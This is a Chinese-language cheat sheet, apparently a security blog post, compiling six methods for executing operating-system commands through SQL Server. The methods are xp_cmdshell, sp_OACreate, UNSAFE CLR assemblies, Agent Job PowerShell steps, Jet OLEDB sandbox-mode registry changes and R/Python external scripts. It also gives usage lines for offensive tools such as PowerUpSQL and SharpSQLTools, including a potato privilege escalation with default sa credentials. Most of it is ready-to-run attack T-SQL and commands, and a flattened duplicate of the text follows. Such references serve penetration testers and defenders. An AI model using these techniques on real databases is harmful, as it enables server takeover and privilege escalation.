SQL Server 命令执行方式汇总
字数 1474 2025-08-11 17:40:24

SQL Server 命令执行方式汇总

环境搭建

所需环境

  • 服务器:Windows Server 2008
  • 数据库:SQL Server 2008

安装步骤

  1. 下载并安装Windows Server 2008
  2. 导入SQL Server 2008镜像进行安装
  3. 使用Navicat等工具连接数据库

命令执行方法

1. 扩展存储过程(xp_cmdshell)

概念

xp_cmdshell是SQL Server中的一个组件,可以执行系统命令并以文本行方式返回输出。

利用条件

  1. SQL Server数据库没有被降权
  2. sa用户或其他具有dba权限的账户

具体利用

-- 开启xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

-- 执行命令
exec master..xp_cmdshell "whoami"

-- 如果xp_cmdshell被删除,恢复方法
Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll'

2. 系统存储过程(sp_OACreate)

概念

通过创建OLE对象实例来执行命令。

利用条件

  1. SQL Server数据库没有被降权
  2. sa用户或其他具有dba权限的账户

具体利用

-- 检查sp_OACreate是否存在
select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'

-- 启用OLE Automation Procedures
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;

-- 执行命令(无回显,结果导出到文件)
declare @shell int
exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'

3. 本地存储过程(CLR)

概念

通过SQL Server编写CLR来执行系统命令。

利用条件

  1. 能启用CLR并可以创建自定义存储过程
  2. 当前账号具有执行命令/代码所需的权限

CLR编写步骤

  1. 使用Visual Studio创建SQL Server数据库项目
  2. 设置目标平台和SQLCLR权限级别为UNSAFE
  3. 编写C#存储过程代码

具体利用

-- 开启CLR
sp_configure 'clr enabled', 1
GO
RECONFIGURE
GO

-- 设置数据库为可信任
ALTER DATABASE master SET TRUSTWORTHY ON;

-- 导入程序集(字节流方式)
CREATE ASSEMBLY [quq] AUTHORIZATION [dbo] FROM 0x4D5A...0000 WITH PERMISSION_SET = UNSAFE;
go

-- 创建存储过程
CREATE PROCEDURE [dbo].[ExecCommand]
@cmd NVARCHAR (MAX)
AS EXTERNAL NAME [quq].[StoredProcedures].[ExecCommand]
go

-- 执行命令
EXEC [dbo].[ExecCommand] 'whoami'

工具推荐

  • SharpSQLTools:可用于CLR提权、上传文件、反弹shell等
  • SharpSQLToolsGUI:图形化界面工具,操作更直观

4. Agent Job执行命令

概念

通过SQL Server代理服务执行自动化任务。

利用条件

  1. 开启了MSSQL Agent Job服务
  2. 有权限新建和执行agent jobs

具体利用

USE msdb;
EXEC dbo.sp_add_job @job_name = N'test_powershell_job3';
EXEC sp_add_jobstep @job_name = N'test_powershell_job3', 
    @step_name = N'test_powershell_name3', 
    @subsystem = N'PowerShell', 
    @command = N'c:\windows\system32\cmd.exe /c whoami /all >c:\\123.txt', 
    @retry_attempts = 1, 
    @retry_interval = 5;
EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job3';
EXEC dbo.sp_start_job N'test_powershell_job3';

5. 沙盒模式提权

概念

通过对注册表的操作,利用jet.oledb.4.0驱动执行命令。

利用条件

  1. SA权限

具体利用

-- 激活沙盒模式(Windows 2003)
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

-- 激活沙盒模式(Windows 2008)
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Wow6432Node\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

-- 执行命令(Windows 2003)
select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user >c:\test.txt ")');

-- 执行命令(Windows 2008 - 需要自己上传数据库文件)
select * from openrowset('microsoft.jet.oledb.4.0',';database=\\xxx.xxx.xxx.xxx\ias.mdb','select shell("c:\windows\system32\cmd.exe /c net user >c:\test.txt ")');

-- 创建数据库并执行命令
declare @hr int;
declare @object int;
declare @property int;
exec @hr = sp_OACreate 'ADOX.Catalog',@object OUTPUT;
exec @hr = sp_OAMethod @object,'Create',@property output,'Provider=Microsoft.Jet.OLEDB.4.0;Data Source=SysSetup.xml';

select * from openrowset('microsoft.jet.oledb.4.0',';database=SysSetup.xml','select shell("cmd.exe /c CMD命令")')

6. R和Python脚本执行

概念

通过SQL Server 2017的机器学习服务执行Python和R脚本。

利用条件

  1. 安装了Machine Learning Services
  2. 启用了外部脚本
  3. 用户拥有执行外部脚本权限

具体利用

-- R脚本执行命令
sp_configure 'external scripts enabled'
GO
EXEC sp_execute_external_script @language=N'R',
@script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))'
WITH RESULT SETS (([cmd_out] text));
GO

-- Python脚本执行命令
exec sp_execute_external_script @language =N'Python',
@script=N'import subprocess
p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE)
OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
WITH RESULT SETS (([cmd_out] nvarchar(max)))

工具推荐

  1. PowerUpSQL:强大的MSSQL攻击工具

    • 创建自定义DLL:Create-SQLFileXpDll -OutFile D:\exec.dll -Command "echo Exec test > C:\test.txt" -ExportName xp_test
    • 导入DLL:sp_addextendedproc 'xp_test', 'D:\exec.dll'
    • 执行命令:exec master..xp_test
  2. SharpSQLTools:针对CLR利用的渗透工具

    • 安装CLR:SharpSQLTools.exe 10.10.10.18 sa sa master install_clr
    • 启用CLR:SharpSQLTools.exe 10.10.10.18 sa sa master enable_clr
    • 执行命令:SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato whoami
  3. SharpSQLToolsGUI:图形化界面的SharpSQLTools

注意事项

  1. 不同方法适用于不同版本的SQL Server和Windows系统
  2. 执行命令可能需要管理员权限
  3. 某些功能默认是关闭的,需要先启用
  4. 无回显的命令可以将结果输出到文件再查看
  5. 部分方法依赖于特定组件或服务是否安装和启用
SQL Server 命令执行方式汇总 环境搭建 所需环境 服务器:Windows Server 2008 数据库:SQL Server 2008 安装步骤 下载并安装Windows Server 2008 导入SQL Server 2008镜像进行安装 使用Navicat等工具连接数据库 命令执行方法 1. 扩展存储过程(xp_ cmdshell) 概念 xp_ cmdshell是SQL Server中的一个组件,可以执行系统命令并以文本行方式返回输出。 利用条件 SQL Server数据库没有被降权 sa用户或其他具有dba权限的账户 具体利用 2. 系统存储过程(sp_ OACreate) 概念 通过创建OLE对象实例来执行命令。 利用条件 SQL Server数据库没有被降权 sa用户或其他具有dba权限的账户 具体利用 3. 本地存储过程(CLR) 概念 通过SQL Server编写CLR来执行系统命令。 利用条件 能启用CLR并可以创建自定义存储过程 当前账号具有执行命令/代码所需的权限 CLR编写步骤 使用Visual Studio创建SQL Server数据库项目 设置目标平台和SQLCLR权限级别为UNSAFE 编写C#存储过程代码 具体利用 工具推荐 SharpSQLTools:可用于CLR提权、上传文件、反弹shell等 SharpSQLToolsGUI:图形化界面工具,操作更直观 4. Agent Job执行命令 概念 通过SQL Server代理服务执行自动化任务。 利用条件 开启了MSSQL Agent Job服务 有权限新建和执行agent jobs 具体利用 5. 沙盒模式提权 概念 通过对注册表的操作,利用jet.oledb.4.0驱动执行命令。 利用条件 SA权限 具体利用 6. R和Python脚本执行 概念 通过SQL Server 2017的机器学习服务执行Python和R脚本。 利用条件 安装了Machine Learning Services 启用了外部脚本 用户拥有执行外部脚本权限 具体利用 工具推荐 PowerUpSQL :强大的MSSQL攻击工具 创建自定义DLL: Create-SQLFileXpDll -OutFile D:\exec.dll -Command "echo Exec test > C:\test.txt" -ExportName xp_test 导入DLL: sp_addextendedproc 'xp_test', 'D:\exec.dll' 执行命令: exec master..xp_test SharpSQLTools :针对CLR利用的渗透工具 安装CLR: SharpSQLTools.exe 10.10.10.18 sa sa master install_clr 启用CLR: SharpSQLTools.exe 10.10.10.18 sa sa master enable_clr 执行命令: SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato whoami SharpSQLToolsGUI :图形化界面的SharpSQLTools 注意事项 不同方法适用于不同版本的SQL Server和Windows系统 执行命令可能需要管理员权限 某些功能默认是关闭的,需要先启用 无回显的命令可以将结果输出到文件再查看 部分方法依赖于特定组件或服务是否安装和启用